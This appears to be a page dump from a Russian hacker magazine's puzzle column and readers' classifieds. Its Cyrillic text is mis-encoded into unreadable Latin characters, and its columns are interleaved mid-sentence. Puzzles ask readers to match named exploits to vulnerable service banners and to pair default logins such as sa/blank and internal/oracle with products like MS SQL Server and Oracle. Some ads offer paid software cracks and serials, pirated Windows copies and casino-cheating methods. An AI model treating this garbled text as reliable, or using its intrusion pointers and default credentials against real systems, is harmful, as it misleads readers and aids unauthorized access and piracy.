Îäèí çëîáíûé script kiddie ïîä<br />

íèêîì aibol îò íå÷åãî äåëàòü<br />

åæåäíåâíî äåôåéñèë äåñÿòêè<br />

ñàéòîâ. Ò. ê. îí ýòî äåëàë ÷àñòî<br />

è ïîìíîãó, òî ó íåãî íà ñîáñòâåííîì<br />

ñêàðæåííîì øåëëå ñêîïèëîñü<br />

îãðîìíîå êîëè÷åñòâî<br />

ñïëîèòîâ âñåõ ìàñòåé, ñðåäè íèõ<br />

áûëè òàêèå èçâåñòíûå ýêçåìïëÿðû,<br />

êàê 7350fun, 7350wurm,<br />

q1telnet, 7350854, x2, apachenosejob.<br />

Çäåñü íóæíî çàìåòèòü,<br />

÷òî þçàòü ÷óæèå ýêñïëîèòû - ýòî<br />

åäèíñòâåííîå, ÷òî îí óìåë äåëàòü<br />

õîðîøî, è êîíêðåòíî ãîðäèëñÿ<br />

ñâîèì «èñêóññòâîì». Îäíàêî<br />

ïåðåä âñåìè ñâîèìè çíàêîìûìè<br />

â IRC ãíóë ïàëüöû è ãîâîðèë,<br />

÷òî äåôåéñ - ýòî ñóùàÿ ÷åïóõà,<br />

è îí ñïîñîáåí íà áîëüøåå<br />

\m/ \m/. Íî íå â ýòîì ñóòü. Íåêîòîðûõ<br />

ïðåäñòàâèòåëåé äîáëåñòíûõ<br />

ðîññèéñêèõ ñïåöñëóæá ïîðÿäêîì<br />

äîñòàë ýòîò àéáîë, ò. ê. ê<br />

íèì ïîñòîÿííî ïðèõîäèëè æàëîáû<br />

ñî âñåõ êîíöîâ ñâåòà îò àäìèíîâ<br />

ïîõàêàííûõ ñàéòîâ ñ<br />

ïðîñüáîé óñìèðèòü çàðâàâøåãîñÿ<br />

«õàêåðà». Óñòàâ îò ýòèõ ïîñëàíèé,<br />

ëþäè â øòàòñêîì ðåøèëè<br />

âîñïîëüçîâàòüñÿ ñòàðîé êàê ìèð<br />

«óòêîé» è îòïðàâèëè íà ìûëî îòâàæíîìó<br />

äåôåéñåðó ïèñüìî ïðèìåðíî<br />

ñëåäóþùåãî ñîäåðæàíèÿ:<br />

Ïåðâûé áàííåð:<br />

OpenBSD 3.1 x86/Apache<br />

1.3.24 PHP 4.2.1<br />

Âòîðîé áàííåð:<br />

Port 23 FreeBSD 4.3-<br />

RELEASE/i386<br />

Hello, script kiddie!<br />

Êîëîíêè SVEN SPS-611 300w PMPO<br />

îòâåòû ñàìûì ïåðâûì. È<br />

íå íàäî ìåíÿ ãðóçèòü, ÷òî<br />

ê òåáå æóðíàë ïîçäíî ïðèõîäèò<br />

— ó íàñ â X-Puzzle<br />

áûëè ïîáåäèòåëè èç Áåëîðóññèè,<br />

Àçåðáàéäæàíà,<br />

Óðàëà è ïðî÷èõ äûð. Òàê<br />

÷òî äåëàé âûâîäû!<br />

Èòàê, ïåðâûé ïðèç ïîëó-<br />

÷àåò madcyber (madcyber@mail.ru)!<br />

«ÏÎÌÎÃÈ ÀÉÁÎËÓ»<br />

Çäðàâñòâóéòå, óâàæàåìûé aibol.<br />

Âàñ áåñïîêîèò ôèðìà «Security<br />

Fake». Ìû ñïåöèàëèçèðóåìñÿ íà<br />

êîìïüþòåðíîé áåçîïàñíîñòè è<br />

ïðèãëàøàåì Âàñ ê íàì íà ðàáîòó.<br />

Ìû íàñëûøàíû î Âàøèõ ïîäâèãàõ<br />

è çíàåì, ÷òî Âû êðóòîé ìýí.<br />

Ïðåäëàãàåì Âàì äëÿ íà÷àëà îêëàä<br />

5000$. Ïîíèìàåì, ÷òî äëÿ ÷åëîâåêà<br />

Âàøåãî óðîâíÿ ýòî î÷åíü ìàëî,<br />

íî âñå-òàêè íàäååìñÿ, ÷òî Âû<br />

çàèíòåðåñóåòåñü íàøèì ïðåäëîæåíèåì.<br />

Åñëè Âû ñîãëàñèòåñü,<br />

Âàì íóæíî ïðèåõàòü ê íàì â îôèñ<br />

è ïðîäåìîíñòðèðîâàòü ñâîå èñêóññòâî,<br />

÷òîáû ìû áûëè óâåðåíû,<br />

÷òî Âû òîò, çà êîãî ñåáÿ âûäàåòå.<br />

Äèðåêòîð ôèðìû «Security Fake»<br />

Óòêèí Å.Å.<br />

Àéáîë, êîòîðûé â ñâîè 15 ëåò<br />

âèäåë òàêèå äåíüãè òîëüêî â<br />

ìóëüòèêàõ ïðî Ñêðóäæà Ìàêäàêà,<br />

íå ðàçäóìûâàÿ, ñîãëàñèëñÿ íà<br />

ñòîëü çàìàí÷èâîå ïðåäëîæåíèå.<br />

È âîò îí âîñòîðæåííûé ïðèáûë â<br />

«îôèñ» ôåéêîâîé ôèðìû. Ëþäè<br />

â øòàòñêîì ñðàçó äàëè åìó çàäàíèå<br />

ïîëó÷èòü äîñòóï ê íåêîòîðûì<br />

ñåðâàêàì ñ ëþáûìè ïðàâàìè.<br />

Ïðîñêàíèðîâàâ ñåðâàêè è<br />

ïîñìîòðåâ áàííåðû íà îòêðûòûõ<br />

ïîðòàõ, ÷óâàê ñâîèì äåôåéñåð-<br />

Òðåòèé áàííåð:<br />

OpenSSH 1.2.3<br />

linux/x86<br />

×åòâåðòûé áàííåð:<br />

Apache 1.3.20/PHP 4.0.7<br />

(Linux-Debian)<br />

Ìûøü LOGITECH Wheel Mouse PS/2<br />

USB îïòè÷åñêàÿ<br />

Âòîðîé ïðèç ìû îòäàåì íåêòî<br />

Uri Jee (uriz@yandex.ru).<br />

 ïðîøëîì íîìåðå ñàìûì<br />

îòãàäûâàåìûì áûë ïàçë «Õóäîæåñòâà<br />

íà HTML». Êàêèõ<br />

òîëüêî ïñåâäîàìåðèêàíñêèõ<br />

ôëàãîâ ÿ íå óâèäåë! Íî ñäåëàòü<br />

êîä íàìíîãî ìåíüøå<br />

ìîåãî íèêòî íå ñìîã. Ïîïàäàëèñü<br />

ìèçåðíûå ýêçåìïëÿðû<br />

ïîñòðîåííûå ñ ïîìîùüþ<br />

CSS, íî âñå-òàêè ÿ ïðîñèë<br />

íàðèñîâàòü ôëàã òîëüêî ñ<br />

ïîìîùüþ ñòàíäàðòíûõ òåãîâ!<br />

ñêèì ãëàçîì óâèäåë, ÷òî íà êàæäîì<br />

èç íèõ ïðèñóòñòâóþò èçâåñòíûå<br />

áàãè (ëþäè èç îðãàíîâ çíàëè,<br />

÷òî åìó ïîäñóíóòü), à ê ýòèì<br />

áàãàì åñòü ñïëîèòû, êîòîðûå<br />

õðàíÿòñÿ ó íåãî íà øåëëå. Íî<br />

âîçíèêëà íåáîëüøàÿ òðàáëà, äàóíèòî-õðîìîñîìà<br />

ìåøàëà ïàðíþ<br />

âñïîìíèòü, êàêîé ñïëîèò äëÿ êàêîé<br />

äûðû ïðåäíàçíà÷åí. Ïîýòîìó<br />

îí íà÷àë ïðîñìàòðèâàòü èõ ïî<br />

ïîðÿäêó, à òàê êàê ñïëîèòîâ ó íåãî<br />

áûë íå îäèí äåñÿòîê, òî ïðîöåññ<br />

íåñêîëüêî çàòÿíóëñÿ. Ñîòðóäíèêè<br />

óæå íà÷àëè çåâàòü.<br />

Îòñþäà çàäàíèå: ïðåäñòàâü, ÷òî<br />

òû îäèí èç ïðåäñòàâèòåëåé âíóòðåííèõ<br />

îðãàíîâ è õî÷åøü ïîñêîðåå<br />

«ñêðóòèòü» ïàðíÿ è îòäàòü<br />

åãî ïîä ñóä, â ðåçóëüòàòå êîòîðîãî<br />

îí ïîëó÷èò óñëîâíûé ñðîê è<br />

óæå íèêîãäà íå ñìîæåò óñòðîèòüñÿ<br />

íà íîðìàëüíóþ ðàáîòó. Êðîìå<br />

òîãî, åãî ðîäèòåëåé îáëîæàò íåïîìåðíûì<br />

øòðàôîì, íà êîòîðûé<br />

îíè áóäóò ãîðáàòèòüñÿ äî êîíöà<br />

ñâîèõ äíåé. Êîðî÷å, ñûãðàé ðîëü<br />

ïîñëåäíåãî ãàäà è äëÿ óñêîðåíèÿ<br />

ïðîöåññà ïîäñêàæè ïàðíþ, êàêîé<br />

ñïëîèò äëÿ êàêîé äûðû ïðåäíàçíà÷åí.<br />

Ýêñïëîèòû, êîòîðûå èìåþòñÿ<br />

ó script kiddie, ïåðå÷èñëåíû<br />

âûøå, à èíôîðìàöèÿ íà áàííåðàõ<br />

áûëà ïðèìåðíî ñëåäóþùàÿ:<br />

Ïÿòûé áàííåð:<br />

FTP server (Version wu-<br />

2.6.1(1)) Linux/x86<br />

Øåñòîé áàííåð:<br />

Red Hat 7.1/i586<br />

Fuck u, lamo!<br />

login:<br />

Çà óñïåøíî ïðîâåäåííóþ îïåðàöèþ âûøåñòîÿùåå íà÷àëüñòâî íàãðàäèò òåáÿ ìåäàëüþ è ÎÃÐÎÌÍÎÉ ïðåìèåé â 2000 ðóáëåé!<br />

110 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


 îäíîé êîíòîðå ðàáîòàë<br />

î÷åíü ïåäàíòè÷íûé àäìèí. Îí<br />

âñåãäà ïðèõîäèë íà ðàáîòó<br />

âîâðåìÿ, ÷åòêî âûïîëíÿë<br />

ñâîè îáÿçàííîñòè, íå ïèë, íå<br />

êóðèë, â êîëëåêòèâå<br />

ïîëüçîâàëñÿ áîëüøèì<br />

óâàæåíèåì, íî... êàê ýòî<br />

ñâîéñòâåííî âñåì ëþäÿì,<br />

èìåë ìàëåíüêèé íåäîñòàòîê.<br />

Ëþáèë îí, çíàåòå ëè,<br />

«ÂÇËÎÌ ÏÎ ÄÅÔÎËÒÓ»<br />

Íèæå òû âèäèøü äîñòàòî÷íî<br />

èçâåñòíûå äåôîëòîâûå<br />

ïàðû user/password ê ðàçëè÷íûì<br />

ïðîãðàììíûì ïðîäóêòàì<br />

è êîììóíèêàöèîííûì<br />

óñòðîéñòâàì:<br />

1. tech/tech<br />

2. sa/<br />

3. security/security<br />

4. /1234<br />

5. root/<br />

6. internal/oracle<br />

7. /ñ<br />

8. /<br />

Åñëè áû áûëî òî÷íî èçâåñòíî,<br />

÷òî â ñèñòåìå íå îòêëþ÷åíà<br />

äåôîëòîâàÿ çàïèñü,<br />

òî êàêóþ èç ïðèâåäåííûõ<br />

÷àñòåíüêî ïîáàëîâàòü ñåáÿ<br />

òðàâêîé. Áûâàëî, çàéäåò â<br />

òóàëåò âî âðåìÿ ðàáî÷åãî<br />

äíÿ, çàêðîåòñÿ, ðàñêóðèò<br />

êîñÿ÷îê, à ïîòîì íà÷èíàåò<br />

âñåõ àäìèíèòü (îñîáåííî<br />

ëþáèë àäìèíèòü æåíùèí). È<br />

âñå áû íè÷åãî (íó,<br />

ïîäóìàåøü, ïàðåíü<br />

óâëåêàåòñÿ äóðüþ, âñå ìû íå<br />

áåç ãðåõà), ïîêà ýòî<br />

ïàð òû áû èñïîëüçîâàë â<br />

ñëåäóþùèõ öåëÿõ:<br />

A. Cisco 2600s<br />

B. Microsoft SQL Server 7<br />

C. Zyxel ISDN-Router Prestige<br />

100IH<br />

D. Oracle 8i<br />

E. Windows 98SE<br />

F. 3Com CoreBuilder 7000<br />

G. MySQL 3.23.23<br />

H. Bay Networks SuperStack II<br />

ÀÄÌÈÍÎÂÑÊÈÅ ÃËÞÊÈ<br />

óâëå÷åíèå íå ñòàëî ìåøàòü<br />

åãî ðàáîòå. Ò.ê. äóðü áûëà<br />

õîðîøàÿ (200 áàêñîâ çà<br />

ïàêåò), òî îò ÷àñòîãî<br />

óïîòðåáëåíèÿ åãî íà÷àëî<br />

«êëèíèòü» (ñîâåðøåííî<br />

ïåðåñòàë îòëè÷àòü ðåàëüíîñòü<br />

îò ãëþêîâ). Òî, áûâàëî, âèðÿ<br />

ñàì â ñâîåé ñåòè çàïóñòèò, òî<br />

îïòîâîëîêíî ãäå-íèáóäü<br />

ëåçâèåì ïîðåæåò, òî<br />

Íàéäè ñåìü ãëþêîâ íà ýòîé êàðòèíêå<br />

«ÐÓÁÐÈÊÀ ÏÐÈÓÐÎ×ÅÍÀ Ê 1 ÀÏÐÅËß»<br />

êîìïüþòåð íà÷àëüíèêà õàêíåò,<br />

óäàëèâ ñ íåãî âñå âàæíûå<br />

äîêóìåíòû. Êîðî÷å, ñîâñåì<br />

çàáîëåë ïàöàí. Îí óæå è<br />

òðàâêîé ñòàë ñåáÿ ïî<br />

ìèíèìóìó áàëîâàòü, à ãëþêè<br />

âñå ðàâíî ïåðèîäè÷åñêè<br />

âîçíèêàëè. È âîò ñèäèò îí<br />

ñåé÷àñ ïåðåä ñâîèì ðàáî÷èì<br />

êîìïüþòåðîì, ñìîòðèò íà<br />

ýêðàí (ñì. ñêðèíøîò) è íå<br />

3 ïðèç 4 ïðèç<br />

Êëàâèàòóðà MITSUMI Millenium PS/2<br />

Win98 Intermedia<br />

Òðåòèé ïðèç çàáèðàåò Åëåíà<br />

Åôðåìîâà. Ïðèÿòíî,<br />

âñå-òàêè, ÷òî íàöèîíàëüíûé<br />

èíòåëëåêòóàëüíûé ðåçåðâ<br />

õðàíèòñÿ â òîì ÷èñëå è â<br />

ãîëîâàõ ïðåäñòàâèòåëüíèö,<br />

â öåëîì, íåêîìïüþòåðíîãî<br />

ïîëà. Òîëüêî íå âûõîäè çàìóæ<br />

çà èíîñòðàíöà, Ëåíà!<br />

Ïîääåðæè îòå÷åòñâåííîãî<br />

ïðîèçâîäèòåëÿ!<br />

Èãðîâîé ïóëüò LOGITECH "WingMan<br />

Precision Gamepad"<br />

×åòâåðòûé äåâàéñ îòïðàâëÿåòñÿ<br />

«ñòóäåíòó» (dumstd@list.ru).<br />

Ñòóäåíòû,<br />

îíè âñåãäà âïåðåäè ïëàíåòû<br />

âñåé. Îïÿòü æå, ñàìûé<br />

ãåéìåðñêèé ñëîé íàñåëåíèÿ.<br />

(Ïðîøó íå ïóòàòü:<br />

íå "ãåé ìåðçêèé", à<br />

"ãåéìåðñêèé" - ýòî áîëüøàÿ<br />

ðàçíèöà.) Òàê ÷òî íàø<br />

ïðèç îáÿçàòåëüíî íàéäåò<br />

äîñòîéíîå ïðèìåíåíèå,<br />

âåðíî, ñòóäåíò?<br />

ïîéìåò, êëèíèò åãî, èëè âñå<br />

íîðìàëüíî... Íà ïåðâûé<br />

âçãëÿä âñå êàê îáû÷íî, XP è<br />

ñòàíäàðòíûå ïðîãðàììû, âñå<br />

ðàáîòàåò, íè÷åãî íå ïîâèñëî,<br />

íî ÷òî-òî çäåñü íå òàê...<br />

Ïîñìîòðè íà ñêðèíøîò è ïîñòàðàéñÿ<br />

äîêàçàòü áåäíÿãå, ÷òî åãî ãëþ÷èò,<br />

ïðè÷åì ãëþ÷èò ñèëüíî...<br />

(Ïîäñêàçêà: ÿ íàñ÷èòàë 7 ãëþêîâ,<br />

ïîïðîáóé è òû èõ íàéòè.)<br />

Ïðàâèëüíûå<br />

îòâåòû ÷èòàé â<br />

ñëåäóþùåì<br />

íîìåðå. Åñëè<br />

õî÷åøü ïîëó÷èòü<br />

ïðèç, ïðèñûëàé<br />

îòâåòû äî 1 ìàÿ.<br />

Íà ýòîì âåäóùèé<br />

ðóáðèêè ñ òîáîé<br />

ïðîùàåòñÿ —<br />

ðóáðèêà X-Puzzle<br />

çàêîí÷èëà ñâîå<br />

ñóùåñòâîâàíèå...<br />

5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 111


Þíèòû<br />

Áîðäà<br />

Ìåññàäæ ìîæíî çàêèíóòü íà<br />

board@real.xakep.ru<br />

Õîðîøèé êîäåð íà Delphi íàïèøåò ïî÷òè ëþáóþ<br />

ïðîãðàììó è èùåò ïðîãðàììåðîâ äëÿ ïåðåïèñêè<br />

è îáìåíà èíôîé<br />

alex2785@mail.ru<br />

Ïðîäàþ 7-çíà÷íûå è 6-çíà÷íûå àñè. Öåíû - 6çí.<br />

- 3$ 7-çí - 2 $<br />

31337 31337 [31337men@stsland.ru]<br />

Êóïëþ äèñêè îò æóðíàëîâ "Õàêåð"<br />

(06.02(42),07.02(43),08.02(44)) èëè ïåðåïèñàíûå<br />

íà cd-r.<br />

Ìûëèòü ñþäà: kuper@list.ru<br />

À-Á<br />

Â-Ã<br />

Ä-Å<br />

Íàéäó êðÿê\ñåðèéíèê ê ëþáîé ïðîãå. Îïëàòà â<br />

$(WM). Ìûëèòü íà osirus@km.ru<br />

Ïðåäîñòàâëÿþ óñëóãè òðåíåðà ïî Counter-Strike<br />

!<br />

FERZ [umka-007@mtu-net.ru]<br />

Ñäåëàþ ñàéò: íåîáû÷íûé äèçàéí, õîðîøî<br />

çàñêðèïòîâàííûé, çàéìóñü åãî æå ðàñêðóòêîé.<br />

Îáúÿâëåíèÿ ðåêëàìíîãî õàðàêòåðà<br />

íå ïóáëèêóþòñÿ!<br />

1. ìû íå áóäåì ðåêëàìèðîâàòü òâîþ ñòðàíè÷êó, ñåðâåð è ïðî÷åå<br />

2. âñå ïèñüìà ñ ìàòîì è ïðî÷åé øíÿãîé óäàëÿþòñÿ ñðàçó<br />

3. ìû ïîñòàðàåìñÿ ðàçìåùàòü ñîîáùåíèÿ â áëèæàéøèõ íîìåðàõ,<br />

íî íè÷åãî íå îáåùàåì :)<br />

Å-Æ Å-Æ<br />

Öåíà 10-20$ â çàâèñèìîñòè îò ñëîæíîñòè<br />

ðàáîòû. Òàêæå ïðåäëàãàþ âñòóïèòü â íàøó<br />

êîìàíäó äèçàéíåðîâ è ïðîîãðàìèñòîâ.<br />

bonus@bashnet.ru<br />

Íàðîä, ïðèìó â äàð â õîðîøèå ðóêè ìåòîäèêó<br />

ïî îáûãðûâàíèþ èíòåðíåò êàçèíî. Çàðàíåå<br />

áëàãîäàðåí çà âñå ïðåäëîæåíèÿ.<br />

ìåñàãè íàìûëèâàòü íà: tol_gagilev@xakep.ru<br />

Ïðèìó â äàð ëþáîå æåëåçî äëÿ óêðàøåíèÿ<br />

êîìíàòû<br />

Nastym n [nastym_n@pisem.net]<br />

Ê-Ë<br />

èùó ðàáîòó: 19ëåò (Ìîñêâà)<br />

Íàñòðîéêà, ñáîðêà, îáñëóæèâàíèå ÏÊ<br />

òàêæå çíàþ: Flash, HTML, AutoCAD,<br />

Dreamweaver, Word, Excel.<br />

zona3da@narod.ru Àðòåì<br />

Êóðñîâûå ðàáîòû. Êàíäèäàò þðèäè÷åñêèõ íàóê.<br />

Íåäîðîãî. Íå Èíòåðíåò. Ìîæíî ñðî÷íî.<br />

kx2@yandex.ru<br />

Ïðîäàåòñÿ àíëèì. Ìîñêâà. Êîííåêò ìîäåìíûé,<br />

íå êðàäåíûé. Âñåãî 35 ÂÌ â ìåñ. Âîçìîæíû<br />

ñêèäêè.<br />

Ïèøèòå íà ìûëî linke@newmail.ru<br />

Ïîìåíÿþ win2k server êîïèþ ñ ëèöåíçèè (íè ãäå<br />

íå óñòàíàâëèâàëàñü!! ñ ðàáîòû ñïåð :-) íà asp<br />

linux 7.3 delux edition êîïèþ èëè íà áîêñ ñ<br />

äîïëàòîé.<br />

ICQ 277140111<br />

E-ìûëî -ziperr2@yandex.ru<br />

Ïðîäàì æóðíàë ÕÀÊÅÐ, âñå íà÷èíàÿ ñ 3-ãî<br />

íîìåðà âêëþ÷àÿ âñå ñïåöû.<br />

Äëÿ Ïèòåðöåâ. sharbaks@nwgsm.ru<br />

Ñîçäà¸òñÿ èãðà(ñóïåð,ïóïåð ñòðàòåãèÿ), âñ¸<br />

óæå ãîòîâî, íî íàì ïîçàðåç òðåáóåòñÿ 2D, 3D<br />

äèçàéíåð. Ìûëüòå íà<br />

new-alex@mail.ru<br />

Þ-ß<br />

ß íåïëîõîé âåðñòàëüùèê DHTML, èìåþ çàöåïêè<br />

íà êëèåíòîâ, íî ó ìåíÿ íåò<br />

íàïàðíèêà! Ìíå íåîáõîäèì õóäîæíèê, êîòîðûé<br />

ìîæåò ðèñîâàòü äëÿ âåá.<br />

Åñòü æåëàíèå, ïèøèòå 4maxidron@mail.ru èëè<br />

ICQ 156182480<br />

È-Ê


VER 04.03 (52)

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!